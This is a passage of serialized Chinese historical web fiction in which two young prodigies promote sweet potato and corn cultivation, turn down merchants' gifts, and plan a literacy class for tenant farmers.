但周盈一大早起来,精神抖擞的绑着袖子,在院子里锻炼身体。 他就觉得吵了。 睁着有些睡眼惺忪的眼睛,郭奉孝看清楚了面前的人影。 只看周盈,一身干练束袖,挺拔身影越发矫健,腰封一勒,那大长腿,一路从腰往下,笔直的跟俊竹似的。 闻言转过头:“我在锻炼啊,你睡呗。” “……” 周盈也没管站在门口的郭嘉,走到一旁桌前,拿起茶壶倒了杯水,润了润嗓子后。 他刚锻炼了一会儿,如今出了一身汗,正在发育阶段的身体,抽条的速度跟嫩笋一样,虽说还没有完全长开,但那骨相已经透出几分俊气。 修长的手放下杯子,这才低头擦着汗,转身继续走到院子中央。< /p>眼看着他还要练,郭嘉一拍脑门:“我说你,好不容易放个三天假,你睡个懒觉能怎么了?” “非得给自己逼的那么累!” 周盈扎了个马步,转头看了他一眼:“我睡了啊,这会儿睡不着起来了。” “……?” 郭嘉眨了眨眼睛,一时间怀疑自己是不是睡懵了,这不才……辰时初吗? 手摸了摸脖子,他大步走下台阶:“你几点起的?” 毕竟刚睡一觉起来,嘴里有些干巴,便拿起茶壶也给自己倒了杯水。 刚进嘴里,就听到周盈开口说话了。 “卯时五刻吧。” “噗——!” 郭嘉呛了一口,忙放下杯子,手发抖指着对方:“你…” “狠!”他的手转为拇指朝上,竖起了大拇指。 眼看着周盈扎完马步,随后又打了一套拳,然后压腿、俯卧撑、载重……一整套流程下来,郭嘉看着眼睛都有点累了。 他倚靠在门框上,打量着,不免的,那不容忽视的视线,就让周盈皱起眉了。 起身,丢下东西。 “看我做什么?你不是要去睡觉?” “你动静那么大,我哪里睡得着?行了…也算是我欠你。” 听到这话,周盈乐了:“前几天晚上,不知道是谁非得抢我被子,我只不过是打搅了你睡懒觉,你倒好,反倒是而恶人先告状了。” 小郭狐狸闻言,脸上心虚一闪而过:“咳…我也没说你什么啊。” “好了好了,今天反正没事,吃个早饭,去郭府看看。”他说完,走进门“砰”一声关上。 只留周盈一人,手举着重物站在院子里。 练了没一会儿,见太阳高照的,他也就放下,擦了擦脸,回屋洗了个澡,换了身月白的道袍。 这制式是如今的儒生们常穿的,不过先前周盈觉得每日都得上课,平日里穿道袍便有些不太端正,也就一直压着放在衣柜里。 除非是特意露出手,否则那大放量的袖子,是不可能将手露出来半分。 周盈披了件白色纱衣,捋了捋袖子,只见那暗藏玄机的衣服布料,动作间竟是暗纹闪烁,走动间如波光粼粼般。 拿起网巾压住有些翘边的胎毛刘海,这才走出了门。 周瑶忙着郭府那的事情,郭怡则是在孩儿笑酒坊里忙着。为了照顾两人日常生活,周瑶干脆直接雇了个烧饭婆子。 郭嘉见他这身打扮,倒还稀奇:“平日不见你穿这身,挺神棍的,适合你。” 周盈剜了他一眼,嘴角一翘,带着几分狡黠道:“哪有这样说话的?你该说……我穿什么都好看。” “……”郭嘉没话说。 吃过早饭,两人匆匆出门。 郭府门外,停了好些马车。周盈二人走到门口,不免也有些愕然,转头看了一眼几个商贾打扮的人,这会儿正笑呵呵的从大门出来。 “好、好啊!郭老爷果真仗义,这次的事情要是谈妥了,我看咱们把东西卖出去,都能赚不少钱。” “是啊,就是不知这番薯玉米,什么时候能种下去。” 88.第 88 章 “我看……事关国策,倒不如先等高公公来了,再商量吧。” 这几个人你一言我一句,见着门口站着的两个小少年,便也拱手行了一礼。 周盈回礼,看到院子里放着的好些红箱子,皱起眉看了一眼郭嘉。对方也满脸茫然。 “走吧,进去瞧瞧。” 两人跨过门槛,一进到里面,那瞪大眼睛的管家似见着了什么活化石一般,忙朝着里头大喊:“回来了!回来了!老爷,老爷!小少爷们回来了!” 他这一嗓子,直接把整个郭府都给叫醒了。原先那些没怎么细细打量二人的商贾,这会儿眼睛猛地一亮。 周盈、郭嘉:……呵呵。 你吼那么大声干嘛。 拄着拐杖,脚步却虎虎生风的郭勋,走到门口,见着两人的时候,脸上笑意直接挂起,左右女眷手搀扶着他,跨过门槛。 郭勋哈哈一笑:“好、好!奉孝、汝瑛回来就好!” 几个商贾闻言,心里也顿时掂量起来,前些日子在绍兴府发生的事情,他们都听说了,毕竟沈峰家儿子,在联考夺得了第十二名的好成绩,这事儿沈峰昨晚上可跟他们好好炫耀了一番。 连带着,周神童在辩场上,是怎么将那些只知道空口说大话的学生们辩得无话可说,只有钦佩惭愧,都绘声绘色的说了一通。 毕竟这个世道,大家伙都不怎么待见做生意的,一个学生,还是在山阴县出了名的神童,敢在绍兴府知县、浙江提学官、以及好些学院大儒们面前,为他们这帮商贾开口说话。 已不仅仅是勇气可嘉,能够形容得了。 几个商贾打量了二人,便觉更不凡。上前几步,郑重行礼道:“先前不知是周神童,实在是失礼。” 周盈闻言,忙道不敢,自是上前扶起几人,心里也是迟疑,怎这几个人,第一次见面,便对他二人行如此大礼? 看向郭勋的时候,这老小子笑着颔首。 “你啊,就受着吧,这帮人也是闻风赶来。”他说着话,上前,左手拽着周盈,右手拽着郭嘉。 “绍兴府联考的事情,我们都知道了,只怕过不久,整个山阴县也就都会知道。你们拿了那么好的成绩,在咱们绍兴府,可算是真要出名了!” 说着这话,郭勋脸上的笑是压都压不住!他无比的庆幸自己当日的决定和选择,若非如此,怎能将两个前途无量的神童,纳为郭家的人呢? 周盈听闻,心里一下子便都明白了,大约是沈越回去之后,便跟他爹说了事情,随后才发生的这档子事情。 几个边上围观的商贾,这会儿也都颔首笑着:“两位小神童,玉米番薯的事情关乎国策推行!咱们虽不是什么大份量的商人,但要用到的地方,只管吩咐就是!” “是啊,商贾也是百姓,心里总归念着朝廷的。” 周盈心知他们是奔着自己的名声,以及国策推行的利益来的,但也不揭穿,毕竟多个人多份力量。 几个人走到屋内,侍女上了茶点。 郭嘉听着你一言我一句的寒暄,只觉得没意思,手拿起点心咬了一口。 见周盈长袖善舞,微笑间,谈吐举止皆挑不出错来,不免也颇心疼对方。 跟这群老狐狸虚与委蛇,那可不轻松。还是他摸摸鱼,混混日子来得舒服。 郭勋问了些关于绍兴府考的事情,得知了两人取得的名次后,顿时大惊失色猛站起身,吓得边上女眷都愣了一下,忙上前搀扶住,但都被郭勋伸手制止了。 他深吸一口气,看着正低头拿起茶盏,拨开茶沫子的周盈,眼中神情极为不可置信。 郭氏盘踞山阴县这么多年,对绍兴府d呃这些书院实力,知道的一清二楚。潘岳私塾最多也就排个中次水准罢了。 可谁知,这鸡窝里头出了两只凤凰! 连带着那最富盛名的稽山书院,都被比了下去!这在平时听起来,那就是天方夜谭! 他手颤抖着,拄着拐杖,眼眶都有些泛红:“好、好!我郭氏,当真是要光宗耀祖了!” 几个商贾闻言,也都愣在了原地,再看周盈和郭嘉的时候,眼神都带着不对劲了。 只等周盈缓缓放下杯子,垂眸间一笑道:“这些东西我本也是不愿意说的,说出来像是炫耀。” “欸!怎么能不说呢,你这孩子。”郭勋比他更急,红光满面的,紧接着对着一旁女眷说了点什么,那女眷闻言愣了愣,随后点头,朝着屋外走去。 “汝瑛,等会你二人留下来吃个饭。” 周盈倒也没有说什么,点了点头。 “好了好了,咱们坐下,商量关于国策的事情吧。”郭勋心里畅快,这会儿心情也好极了,开口语气都带着笑。 “田,都已经打点好了,你娘查账,真是有一把手!”他说着话,倒是浅叹一口。 几天功夫,直接把郭府翻了个底朝天,查出了多少糊涂账!这不查还好,一查简直吓一跳! 这帮人,仗着郭氏的名声,在外面私自买卖、侵占田产,吞没他人商铺,更有甚者,公然行挪用款项,竟是有二十多万两的银子,不翼而飞了! 郭勋说到这,冷哼一声。 周盈抬头看了一眼郭嘉。 郭奉孝面无表情,只看着郭勋这老狐狸演习。眼神示意了一番,表示自己不想开口,你上吧。 周盈:…… 行呗,他来就他来。 “老祖宗,我听闻朝里来人了?” 他这话一说出口,屋内安静了下来。郭勋也不絮絮叨叨了,神情间带了些复杂,看着几个有些忐忑的商贾,伸手指了指。 “是。这些人,也是听到消息赶来的。汝瑛啊,你把你之前说的那些条件啊、法子的,都说一说。” “我看咱们还是不能光靠那几个大商人大乡绅,否则他们不干,难不成咱们就不做这件事了?” 这话说的挺有理的,郭嘉手捏着花生塞进嘴里,嗯……酒香味的,巴适。 也不管郭勋这只老狐狸心里打的算盘,起码现在大家伙是穿一条裤子的,把国策推行好了,郭氏的好处端是少不了。 郭勋是个聪明人,也会权衡利弊,这刚投资的两个小神童,还没过多少天呢,就给了他这么个回报,可不得往里再多投点资本? 因而,这群商贾,却也是和郭氏比较熟悉,且为人过得去的几个。 “老祖宗这话说的妥当,我等本想着,等回来了,找个时间,把人合计一下,再谈一谈,不过诸位今日登门拜访,那关于国策的事情,咱们也就不能让诸位吃闭门羹了。” 这话是郭嘉开口说的。 一位生的精明些的,拱手笑道:“在下林逸,是做丝绸买卖出身的。郭神童此言,不妨再说明白些?” 将手里的花生丢回去,郭嘉继续道:“前些日子,我们跟沈峰那帮人也谈了,但没谈妥,但这回,朝中都来人了,足可见皇上有多看重此事。” “因此,凡是参与这件事情的人,将来国策成了,那好处必然是少不了的,不多说,光是给皇上办事,那是多少人都羡慕不来的。” 周盈看着这些人思忖的表情,继续开口道:“此事倒也不急,诸位若是担忧,我把我们的条件先说一声,等到了时候,咱们再把合适的人都找来,一起坐下来谈一谈,哪些人愿意加入,哪些人不愿意,也都随便。” “咱们做事情,从来不强迫人。” 他这话说的实在,几个商人闻言,心想着听听就听听,反正也不会吃什么亏。总归是过来谈生意的,也不必太伤着面子。 周盈见状,长睫翕动间,低头剥了颗橘子,手上动作着,语气不急不缓,将先前说过的方案,一一说来。 不少人听着,眉头略皱紧,有的则心里已经开始思量什么。坐在上方的郭勋没有插嘴,只是心里早已对周盈百感信任,太稳妥,也太聪明,将来必有造化。 “如此,便是我等的法子,诸位可有异言?” 林逸一行人面面相觑,也不知是在考虑什么,倒是都没有第一时间开口。 其实周盈提的那些要求,也不是太过分,毕竟上浮一成,提前向农户收番薯玉米的钱,最后这些商人都是能赚回来的,且不但能赚,利润远颇丰盈。 毕竟周盈家酿过玉米酒,知道里头的利润扣去本钱有多少。 “若诸位担忧,到时候起个商号,由劝农司掌管,这样,谁也不能坏了规矩,也算是个保障。” 林逸起身行礼,却是朝着周盈开口,他语气有些迟疑:“周神童,咱们也不是什么大商人,做的都是小本买卖。” “若说为什么今日非要登门拜访,咱也就不藏着掖着,其一是因国策之利,其二……” 说到这,林逸等人脸色都复杂了一些。 他开口间,叹了口气:“现今做买卖的,只靠老实本分的经商,也确实难活,上下要打点,再扣去成本工费,咱们虽富于那些种田的农户,却也远不及大商人富贵。” 89.第 89 章 周盈闻言,倒也没有说什么,商贾的处境,他不是商人,并不能完全了解,但想来沈越身为商贾之子,应是明白的。 因而林逸开口说起,他心里不免也心情复杂。但这也只不过是片面之言,谁知道是不是看着他二人年纪小,而打的感情牌呢? 这不是商人不商人的问题,是人性生来就有狡诈的天性。 林逸继续道:“其二,便也是念着周神童,在辩场为我等声言,这份情,咱们也是记着的。若有将来,还请周神童、郭神童,能提携一二。” 话语落,屋内一时间安静了下来。周盈放下杯子,大约明白了这些人来历。 这是来投诚的。 他颔首道:“我不会做那些勾结的事情,最多的,只是给你们一个机会。至于能不能在皇上那边做出成绩,也都看你们的本事。” “屋外放着的那些箱子,都带走吧。” “东西我不会收,回去等候消息就是。” 林逸不免略睁大了一些眼睛,似有些不可置信,以往他经商做事,早就习惯了送礼,如今也是照旧带着些礼物上门。 但反倒是受到了拒绝? 不免的,他愣了片刻,而他身边几个商贾,有叹息的,有神情复杂的。 有人站起身行了一礼:“在下于恒,往日听闻神童名讳,却不曾亲眼瞧见,今日一见,果非凡人!” “周神童行事如此磊落,我于恒便也只顾在家等候消息了!” 周盈颔首:“可以。” 几个商人闻言,这会儿也都是忙站起来,前后行礼报出名讳。 “在下阎铮\毛纪\范昭,在家恭候周神童消息。” 周盈没有再说什么,送走了这帮人后,才皱起眉来。只是想起方才放在院子里的那些红箱子,如今也不免有些复杂心情。 名声是个好东西,但得看怎么用。这还没进官场呢,贿赂就贴脸上了。 离中午吃饭还有点时间,周盈便也没在府内逗留,反而是去田里看了看。 几个佃农正拔着草。 沈二柱扛着锄头,往土里这么一铲一翻,松软的土地就掀起了一块盖来,随后被一锤敲碎。 就这么翻了半块田,他是最先答应改种番薯玉米的。毕竟,一直种粮食,家里把税一交,留下的粮吃不饱饭。可种番薯和玉米就不一样了。 那玩意儿能吃的! 不但能吃,小贵人们都答应了,种出来后,还能远高于粮食的价格收他们手里的番薯玉米! 这好歹是左右看着都不亏本的买卖。 唯一担心的,就是交税怎么办的事情了。 但小贵人们也帮忙想了法子,叫务农司的先帮忙交,他们把东西卖了换钱,再补上就是! 这样的好事情,沈二柱是再想不出来了。 况且改种期间,没粮食吃饭,还有人肯借给他们。这样一来,也就免了饿死,等明年丰收,一家也就缓过来了。 想着这事情,他手上都来劲儿了,擦了擦汗,继续扛起锄头翻地。 也就这个时候,边上的徐三朝着他大喊一声:“二柱!你看谁来了!!” 沈二柱闻言抬头,看着徐三脸上也满是喜色:“咋了!徐三,有什么好事儿?是你家婆娘生了个大胖小子?” 徐三“害”了一声,手指着他无语:“你脑子也就这点儿货了!你看看那边是谁?” 他朝着徐三的手看过去,却看不远处,一道白衣身影往这边走来,紧跟着的浅蓝影子形影不离。 顿时,沈二柱手上锄头一丢,忙爬上田。手掸了掸自己裤脚、衣服上的泥土。 周盈见着几个佃农上前攀谈,眼里头都是小心翼翼的神情。他笑了笑,低头看了一眼脚下的夯实泥土路,声音带着几分随性道:“我只是过来看看而已,今年庄稼收的如何?” “哎!周少爷,您可问对了!今年丰年,产粮比往年都要多一成!咱们现今是拿了老爷们借的粮,再加上这多出来的一成啊,改种番薯玉米,那也是宽松的!” “是!这要不是小贵人们想出法子,咱们这些农民,真不知道该如何了!” 几个老农肤色黝黑,见周盈也不抬着架子,一时间话匣子也就打开了,手指头摆着算,算的什么呢? 吃饭的账。 “去岁,欠收,咱们紧巴巴过日子,交了收租的钱,这也就将将够吃饭。今年,那曹御史一来,反倒还要我们多交一半的税了!” “这个曹青天,我看算个什么青天呢!”老农语气不忿。 几个人附和:“欸…这要是真叫我们改回官田,咱们都不知道要怎么活下去了。” 说着说着,带着些红血丝的眼睛里头,就闪出了几分泪花。 周盈点了点头,把这话都听在耳朵里头,但没有多插嘴一句,只是看着遍地翻新的农田,心里盘算着,得快点把这事情办掉,让玉米番薯种下去,这样明年结果也就快些。 大家也都会开心点。 “小贵人!小贵人!俺是二柱!”突闻一声大喊,几个人转头一看,眼熟的瞧见那沈二柱放下了裤脚,直接冲了过来。 也就众人惊讶目光之下,只见沈二柱在一米外停下脚步,随后猛地“扑通”跪下,朝着周盈就要磕头! 这把周盈惊了一跳,没成想当日善念一起,出了个法子,竟也是越办越大。忙上前拽起人:“你起来,我记得你。” 沈二柱闻言笑了一声:“小贵人!您是我们的救命恩人,没有您提的那个什么…什么国策!皇上也就看不到咱们这些佃农的苦!也就不会让那些老爷们把粮借给咱们!” “这下是好了,咱们能把田改种番薯玉米,卖的钱可比粮食贵多了!” 他说了一大堆话,周盈也没有打断,只是听着,末了点了点头,长睫一扫间,嘴角带了些笑意。 “我呢,也不懂那些农事,将来种田还得靠着你们,你们才是主力骨干,若是那些老爷们,仗着你们不识字欺负你们,就来找我。” “我帮你们想办法解决。” 这话一出口,几个佃农顿时眼眶一红 ,沈二柱鼻子酸了点儿,见这小贵人穿的雪白,冰清玉洁一样的人,心肠还这么好,真是……不知该让人怎么报答! “小贵人,俺们粗人,这事儿也是靠着您才能吃饱饭,咱们不听谁的,就听你的!” “是啊!您是山阴县的周神童,是咱们这里长出来的人,咱们不信您信谁?信那些不知道什么时候就调走的官老爷吗?” 周盈也没再多说什么,扶起几个人,心里叹了口气。跟沈二柱等人攀谈了一会儿,这才离开了田间。 跟在他身边的郭嘉方才一直没开口,走着间,大约是想到什么,亦或是被方才的话提点了什么:“我倒是想到个事情。” “嗯?” “你说佃农不识字,会被胥吏乡绅盘剥,这是对的。倒不妨干脆教他们、或者他们的后代学点字。将来,咱们也不可能一直留在山阴县。” 听了郭嘉的话,周盈脚步一顿,转身看向他:“奉孝的意思……是说,在劝农司搞个蒙学班?” 郭嘉皱着眉,摸着下巴,又开口道:“若是在劝农司蒙学班成绩优异的小孩,我们可出资让他们去陈夫子的私塾启蒙。” “这样,这些人是从劝农司出去的,承了我们的情,将来如果真能有进入仕途的,那就都是我们的人。” “就算进不了仕途,识文断字的也都是人才,能帮我们办事情。” 周盈闻言,一时间没说话,脑子思忖间,竟是觉得这法子可行,抬头道:“奉孝此策精妙,这事儿我倒是一时间没想到!” 郭嘉哼哼两声:“你也不看我是谁?” 嚯,夸一句,狐狸尾巴就翘起来了。 看他这小表情,周盈忍俊不禁,也乐得哄他:“是~奉孝世之奇士~” 小郭狐狸摆手:“小事小事,但如何落地、谁来教、教材用什么、学费问题,都得细细商酌。” “这倒不急,等把国策的事情推下去,有的是人抢着做。” 郭嘉挑眉,也没多说什么。 两个人逛来逛去,最后逛回了郭府之时,已是上午。进了门,就看到院子里跪倒了一大片人,还有不少女眷正呜咽着哭泣。 “老祖宗!好歹都是您的子孙!事也是家事!叫人认个错,把东西退回来就是!!” “何必如此,这样一来,家都散了!” “老祖宗!” 几个哭的厉害的小辈和女眷这会儿嚎的稀里哗啦的,听的周盈不免扯了扯嘴角,实在是有些辣耳朵了。 郭嘉更不给面子,皱着眉头,用两个手指,一左一右塞住了耳朵。 往前绕开,两个人也没多看一眼跪在院子里的几个人,走到大堂,便看到一桌丰盛的午饭早已备好。 郭勋如今正坐在主位上,左右坐的几个郭氏年轻小辈,这会儿脸色发白的、身体发白的、也有低着头不敢看的。 总归是没几个坐直了身子。 看来都是心虚的。 周盈行了一礼,想了想开口道:“老祖宗,什么事儿?弄这么大的排场?” 90.第 90 章 郭勋冷哼一声,猛地拍桌!震得桌子上靠近的那些饭菜都悬空了一些,当啷几声脆响,掉在地上的杯子直接打了个粉碎。 坐在旁边的几个小辈都缩了缩脖子,看来是半点儿心气都没了,比起先前咋咋呼呼不服输的样子,应是被收拾过好几回了。 周盈不免对郭勋,倒也高看几分。 这个人,够狠,心也够硬。 是个成事的料。 但戏还是要演,而且周盈知道,这场戏是专演给他二人看的。 只见郭勋,语气冰的掉渣,手抄起几本账目,颤抖着道:“汝瑛,你倒看看!这帮祸害!吞了郭氏多少私产!又祸害了多少百姓农户!” 说到这,郭勋长叹一声,眼里的悲愤和复杂情绪,溢于言表。 “我这看的,实在是……触目惊心,罄竹难书!” 郭嘉站边上,面无表情,只觉这戏演的,还真无聊。 但随后,他“嗷!”了一嗓子。 眼睛顿时淌出了泪花来。 郭勋被他这声音吸引,看过去的时候,只看到这个小孙子,泪眼汪汪,眼眶微红,一副难过得不行的样子,心里不免的对自己的演技也满意几分。 当然,更满意的是郭嘉的表情。 在郭勋看不到的地方,郭嘉手朝着腿上摸去,随后拽着周盈的手猛往下扯! 周盈压根没看他,脸上露出几分难过神色,低下头,长叹一口气道:“老祖宗,好歹是郭氏的子孙,都还年轻,做错事了,当长辈的得管管。” “汝瑛!你不要为这些畜生说话!我看他们到现在还不知悔改!!就让他们跪着!那几个做的过分的,这就逐出家门!我郭氏丢不起这个脸啊!”郭勋声音哽咽,说着话,一副肝肠寸断的模样。 边上的女眷闻之都有些于心不忍,难过着道:“老祖宗消消气……到底都是一家人。” “给个机会,下不为例就是了。” “是啊。” 郭嘉脸色维系着泪眼朦胧,手不着痕迹的揉了揉方才被掐过的地方,十分悲伤的表情,心里却恨不得翻个白眼,这戏演给谁看呢!他才不想看! 疼死了! 周盈想了想,似乎也是难以开口,但依旧一副知书达理的模样道:“老祖宗想清理门户,是大义灭亲的公平道理,这足以体现老祖宗的为人了。但他们也是第一次……把那些东西交出来,把贪墨的钱拿来归务农司,用以推广国策,将功赎罪。” “这样……也算是给了一次改过自新的机会。若有下回,再逐出家门,便也无人说老祖宗刻薄了。” “这是仁至义尽。” 郭嘉闻言,这会儿疼归疼,但那点默契还是有的,吸了吸鼻子,也跟着开口道:“汝瑛说的是,好歹一家流的血是一样的,我这个做后辈的看这儿,到底也是于心不忍……” 忍…忍住! “惩罚一下,以儆效尤,再有下次,逐出家门,这样全了家法,也让人知道咱们郭氏,是端正人家,不做那些帮亲不帮理的事情。” “奉孝说的是。” 几个女眷听到这话,顿时便跟着帮腔了:“是呀老祖宗,事情传出去,外头人怎么看我们郭家?” “老祖宗是分得清的人,这回仁慈了,下回再犯,那就也怪不得谁。” 郭勋听到这里,脸上依旧阴沉着,看了一眼跪在外头的一帮人,冷哼一声,将账本拍在桌上。 “还不都滚进来,谢谢汝瑛和奉孝?” 一听到这句话,外头一帮人顿时如蒙大赦!为首的郭恒更是连滚带爬,弯着腰走进来,刚要道谢时,看着周盈和郭嘉两个人,顿时便顿住了。 眼里闪过一丝怒意、羞耻、不甘…… 郭嘉心里冷哼一声,也不开口说什么就这样等着。但郭勋是半点等不了! 见他们僵在那,猛地起身,抄起拐杖就砸了过去! “哐当——!” “跪下!道谢!!” 那暴怒声如雷霆般乍响,吓得场内所有人猛地往下一跪。 动静之下,被砸了个正着的郭恒霎时头破血流,冷汗直冒。 “谢、谢……汝瑛、奉孝…为我等说话。” 那声音,带着几分不甘心的咬牙切齿,但低下头的郭恒,却是不敢再抬起头。 他一开口,其他几个人也就都没了什么心理负担。 周盈依旧板着一张脸,听完了全程的“道谢”,但心里不觉得有多开心,这毕竟是演戏,戏演完了,该处理的人也都没处理。 惟独是把贪墨的那些钱产,倒腾出来,以供推行国策用。 但这也足够了,其他的都不重要。 郭嘉则是瞥了几人一眼,目光冷冷的,心里对这些人嗤笑几分。 “好了,还站着干嘛!坐下!” 见几个人慌张坐下,周盈便也掀起衣摆坐下,郭嘉跟着。 于是一顿午饭,吃的极为诡异和安静。 当然,这氛围压根影响不到周盈和郭嘉,这俩属于是天大地大,吃饱饭最大,其他事等吃饱饭再说! 从郭府出来,两人去了一趟劝农司,这落座于郭府边上的小府邸,如今已驻了不少人手。 入门便是正堂,左右是一些其他的空闲屋子。棚里头放的是各种农用器具,还养了几头牛在栅栏里头。 “哟!二位小少爷!什么风把您们吹来了!”上前的管家脸上陪笑,语气带着些讨好。 周盈摆手,也没理会他的阿谀奉承,而是走进屋里头看了看:“这里空着,你们准备拿来做什么?” “呃……”被这么一问,管家愣了一下。 “暂时…打算拿来做粮仓吧。” 这话说的出口,两个同时用诡异的目光看向向他。把管家都看的有些脊背发凉了。 周盈虽觉得这人有些傻,但也没说什么,反倒是转身朝着其他几个屋子走去。 接连参观过后,他转身道:“找几个能教孩子启蒙的夫子过来。” “啊、啊?” “没听懂人话吗?”郭嘉啧了一声,已经有些不耐烦了。 那管家顿时额头冷汗直冒,点头哈腰道:“是、是!小的这就去办!” 把事情都办妥之后,两人才出了门,上了马车。坐在车里,郭嘉是最先忍不住了。 “这郭勋倒还真是只老狐狸!演这么 出戏堵我们的嘴,以后就算咱们真想对郭氏的人再动手,也难免落人口舌了。” “都是些小把戏,他保自己的子孙,就让他保是了。跟国策比起来,这些算什么?” 周盈倒是不觉得有什么,反倒是很淡定,毕竟人都是有私心的,但只要控制得住,不让私心影响到公事上,他素来是睁一只眼闭一只眼。 但要是谁忍不住,那手就得剁了。 这一向都是周盈的底线。 郭嘉冷哼:“我也不是不分是非的人,只是有些不舒服。” 周盈垂眸,叹了口气:“也不用忍太久,等到明年,一切事尘埃落定,你我也就彻底站稳脚跟了。” “也就只能,暂时让奉孝跟我受委屈了。” 郭嘉一听这话,其实心里的那股不舒服早就消了不少,他只是不太喜欢郭勋这种做派,太假了! “好吧好吧,我也不说什么了,反正台子都搭好了,就等着怎么谈了。” 听他这么说,周盈抬起头,笑了笑,无奈摇头,也没说什么。 马车徐徐,一路从郭府走到了周府门口。 掀起帘子下了车,周盈见门口却停了另一辆陌生的车,不免好奇询问守在门口的仆从。 “这是谁的车?” “哦!小掌柜,您可算回来了!那张家相公,这会儿正在里头等着呢!” 听了这话,周盈和郭嘉两个人也不免好奇,张岱怎来了?是有什么事情? 且说那张岱,自打回了家后,就把绍兴府联考发生的大小事情,事无巨细,且添油加醋的全部跟自家老爹讲了一遍。 末了,可还炫耀了一番自家这次考的排名不错! 本想着老头子总归是该夸夸他,结果对方一点惊讶都没有。 结果反倒是开始询问起他那两个神童小师弟! 然后嘛……自然是自己家的孩子,再怎么看,都没别人家的优秀。 张岱也是欲哭无泪,他就不是那块料!他已经很努力了! 当然这都是闲话,至于为什么来这一趟,却也是为了国策之事。 听到脚步声响起,他从椅子上站起身来,只见两位小师弟这会儿风尘仆仆的,倒也不知点去了哪儿。 周盈倒笑了笑:“张师兄?今日怎么有空来我家?” 张岱闻言,便也开门见山了。 “小师弟,咱们也算是深交了,多的我就不多寒暄,我这次来,却是为了国策的事情。” “前段时间,你和那帮人不是没谈成吗?我爹说,这些人想做个东,邀你去三甲酒楼吃个饭,顺道谈谈这事情!” 哦? 这倒是有趣,看来这帮人这会儿也是心机了。 周盈一时间没开口,他这忙了一上午,回来的时候渴得紧,走到一旁倒了杯茶,不急不缓的喝着。 倒是郭嘉,想了想道:“张师兄,对于那镇守太监的消息,可知一二?” 提起这事,张岱一拍脑袋:“我差点忘了这事儿!” “郭师弟你问到点子上了,我爹用了点人脉,打听到了些消息。” 周盈喝茶的动作微顿,这会儿也是竖起耳朵听起来。 91.第 91 章 张岱继续说:“先前吕纯如上了封奏疏,说的就是你们谈的那些事情,结果朝里炸了锅,一派觉得这事不合规矩,应停罢。另一派则认为非常之事行非常之规。” “吵是吵起来了,且吵的很凶。有人还拿这事儿攻讦曹谨行,不过皇上没怪罪,但也没说什么。” “后来是叶首辅提议着,不如朝中派个人过去,皇上同意了。” 嗯? 蹊跷了。 两人都琢磨出不对劲,一时间全都看向了他。 张岱眨了眨眼睛:“怎么了?” “你倒是说啊!”郭嘉无语了!听的正紧要关头呢!难怪张师兄你考不上功名,半点眼力见都没有! “行!其实也没什么了,后面的事情你们都知道了,皇上派了个镇守太监过来。” “……”周盈放下杯子,只觉得这事情哪哪不对啊! 皇上派个太监过来,干嘛要经过叶首辅的提议?这不是倒反天罡了? “张师兄……你觉得你这话说的,逻辑在哪?”郭嘉听的浑身难受,只觉得如蚂蚁在爬一般,他觉得这不符合逻辑啊! 张岱呆萌的“啊?”了一声。 脸上写满了:我不知道啊。 郭嘉深吸一口气,叉着腰,想了想,算了,傻人有傻福啊。 看他这架势,显然是被张岱这迟钝的政治嗅觉气无语了。 周盈轻笑出声,摇着头,指了指张岱:“张师兄,太监是内廷的人,是皇上的人,皇上想派高烨过来,怎么还得要内阁提议呢?” “……”张岱张了张嘴,一时间,愣住了。 随即,似乎是反应过来了什么,顿时一拍手:“哦!这确实不对!再怎么,内阁要提议,也应该推举的是朝中的大臣才对!” “这就对了,靠谱了。”郭嘉叹了口气,有些没好气。 周盈拿起橘子剥了一半递给郭嘉,继续开口道:“这不是对上了吗?皇上不想咱们牵扯进党争之中,这才特意派了个心腹过来。” “周师弟……那这高烨,算得上是咱们自己人?”一听这话,张岱眼睛都亮了。 郭嘉都不想说话了,心里只觉得,有的人那福气就是好啊,傻成这样,日子都能过得这么舒坦,祖上积了多大的德? 听他这话一出口,周盈都憋不住,笑了出来。 轻咳道:“非也,皇上的人,永远都是皇上的人,可共事,但不可轻信。你就把他当个要应付的上司就行了,至于其他的,少管,也别管,更不要牵扯。” 张岱似懂非懂,皱眉琢磨着其中的道理。 郭嘉道:“你说的太深奥,他听不懂。” 嘿……这话说的! 张岱觉得郭嘉看不起他!他好歹…好歹在文章方面挺有天赋的,脑子也不笨啊! “我、我这不是……太心急了吗!既然周师弟说这高烨不能信,那我们不信就是,反正……我脑子没你们聪明,事情都听你们的!” 嗯!这话说的像样。 郭嘉手指了指他,语气带着几分笑:“这就叫人有自知之明,张师兄只要肯听人话,这福气享之不尽。” 傻人不可怕,可怕的是那种不但傻,还觉得自己很傻的人,这样的人,谁跟他办事、做朋友,早晚有一天都得死在他手底下。 但张岱这种,纯属就是呆傻萌。 呆在没有心眼子。 傻在缺心眼子。 萌在心眼子少。 这样的人,交朋友,他就听你的,不但听你的,还帮你出头。 好人,真的好人。 郭嘉喜欢这样的人,因为好教,也好提点。 周盈无奈摇头,将剥好皮的橘子丢给张岱:“还未曾知晓高烨是个什么样的人,切不可放松警惕。明天的饭局,我会来的,至于其他事情,也就等明天再谈吧。” “那行!那我先走了,我还有点事,就不在这多留了。” 两人点头,张岱便急匆匆走了。 吃完橘子,郭嘉开口道:“那明天我就不去了,人太多有点烦,我自个儿清静清静。” 周盈一听这话,眼神一瞥间,带了几分戏谑,知道这小郭狐狸又想撂挑子不干活了。 “那不行,明天你去趟务农司,把开设蒙学班的事情盯一盯,再去私塾跟陈夫子商量看看,能不把这事儿办下来。” 郭嘉皱眉,“啧”了一声:“忙了这么久,还不能给我个清闲假?你真当所有人跟你一样,都那么拼?” “我不拼,哪里来咱们现在的地位和局面?” “……” 这话说的完全对,并且让郭嘉没有任何反驳的空间。 “你看,你连反驳都找不到理由,认命吧。” 眼看着周盈坏笑的表情,郭奉孝这会儿是真无语了!太过分,周扒皮! “行,我命苦——” 这话出口,周盈直接打断:“少来,我才命苦。” “早先忙着怎么平掉咱们罪臣眷属的身份,还得想着给那帮佃农找活路,现在又要念着朝局动向做事,更得找法子把国策推下去。” “如今……让你办个事,你都不肯?” 这句话带着点狡黠,周盈脸上摆明是一副“反正你一定会帮我”的表情。 郭嘉听了,反倒还真不是滋味了,有些不自在道:“行了,我知道了,劝农司那里有我,明天你就安心赴会。” “嗯~有奉孝在……”周盈莞尔,语气一转:“可使‘孤’成大业~” “……” “怎么?奉孝不喜欢这样的夸奖?那我可以换一句。” 郭嘉瞪着死鱼眼,抄起袖子。 见状,周盈放下橘子,举手投降。 “错了,我的错。” 